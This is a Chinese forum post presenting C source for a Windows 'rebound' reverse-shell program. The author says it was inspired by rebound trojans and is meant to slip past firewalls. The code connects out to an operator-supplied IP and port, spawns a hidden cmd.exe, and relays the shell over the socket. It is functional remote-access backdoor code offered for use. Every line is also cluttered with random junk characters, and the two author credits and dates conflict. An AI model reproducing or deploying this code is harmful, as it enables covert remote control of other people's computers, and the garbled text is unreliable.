这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \]0+J
K)GpQ|4:<
/* ============================== ?^WX]SAl
Rebound port in Windows NT 5V8`-yO9
By wind,2006/7 cp2a @
===============================*/ OlX#1W]
#include TUq
,
#include e,
}{$HStZ
X/FR e[R
#pragma comment(lib,"wsock32.lib") G6p R?K+
DWupLJpk;c
void OutputShell(); +do*C=z
SOCKET sClient; RmJ|g<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J~)JsAXAI
%e+{wU}w?2
void main(int argc,char **argv) {m/KD 'b_
{ >OKc\m2%Q
WSADATA stWsaData; g=jB'h?
int nRet; '#lc?Y(pJ2
SOCKADDR_IN stSaiClient,stSaiServer;
pER[^LH_)
MUUhg
if(argc != 3) ?N]G;%3/
{ m O"Rq5
printf("Useage:\n\rRebound DestIP DestPort\n"); =yZ6 $ hK
return; y=zs6HaS
} "qoJIwl#q
<`Qbb=*
WSAStartup(MAKEWORD(2,2),&stWsaData); aB{OXU}#
3j2d&*0
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ls'8
R'qBG(?i
stSaiClient.sin_family = AF_INET; Y8for'
stSaiClient.sin_port = htons(0); ,qj M1xkL$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T;v^BVn
nPhREn!
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c=aVYQ"2
{ ,.AXQ#~&`
printf("Bind Socket Failed!\n"); ,15$$3z /E
return; zS'{F>w
} .&.L@CRH
;iz3Bf1o
stSaiServer.sin_family = AF_INET; zC`ediyu
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]F #0to
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f{U,kCv
?f*>=;7=
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j-v/;7s/B
{ #J~xKyJi'
printf("Connect Error!"); ;}'Z2gZB
return; Q}uh`?t
} !,{-q)'D
OutputShell(); -BH T'zq1S
} KN~Rep cz@
uFL!*#A
void OutputShell() @%!Gj{
{ W?0u_F
char szBuff[1024]; Hk?E0.
SECURITY_ATTRIBUTES stSecurityAttributes; y1#QP3'Z1
OSVERSIONINFO stOsversionInfo; kfq<M7y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o3HS|
STARTUPINFO stStartupInfo; %>t4ib_8
char *szShell; JqtOoR
PROCESS_INFORMATION stProcessInformation; 4F+G;'JV
unsigned long lBytesRead; ~R7{gCqdr
$E^*^({
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CJ [e^K{
Ni#y=cb
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {'cdi`
stSecurityAttributes.lpSecurityDescriptor = 0; %:y"o_X_
stSecurityAttributes.bInheritHandle = TRUE; d.k'\1o
&Qt1~#1
R^rA.7T
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ).jna`A,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qot{#tk
d
Vu,:rPqI
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :AyZe7:(D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?uXY 6J"
stStartupInfo.wShowWindow = SW_HIDE; ZK8DziO
stStartupInfo.hStdInput = hReadPipe; :fQN_*B4@4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a KIS%M#Y
4|NcWpaV7
GetVersionEx(&stOsversionInfo); 0$|wj^?U
soqnr"
1
switch(stOsversionInfo.dwPlatformId) #!4`t]E<
{ Mm%b8#Fe!
case 1: xI8v'[3
szShell = "command.com"; hroRDD
break; F8B:P7I
default: j2 jUrl
szShell = "cmd.exe"; uKo4nXVtp
break; mWuhXY^Q
} ;(IAhWE?7
=h}PL22
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A&_v:z4y/
Pcr;+'q
send(sClient,szMsg,77,0); 9 'IDbe{
while(1) ^@]yiED{g
{ #Q%0y^s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cd$,,
if(lBytesRead) }TU2o3Q
{ o+?Ko=vYw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IXsOTBM
send(sClient,szBuff,lBytesRead,0); "~T06!F45
} a2H_8iQ!
else Q]-r'pYr
{ =GLMdhD]
lBytesRead=recv(sClient,szBuff,1024,0); s_76)7
if(lBytesRead<=0) break; I2C1mV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sJ|IW0Mr
} 7/BA!V(na
}
DIh[%
-3C$br
return; F=yE>[! LB
}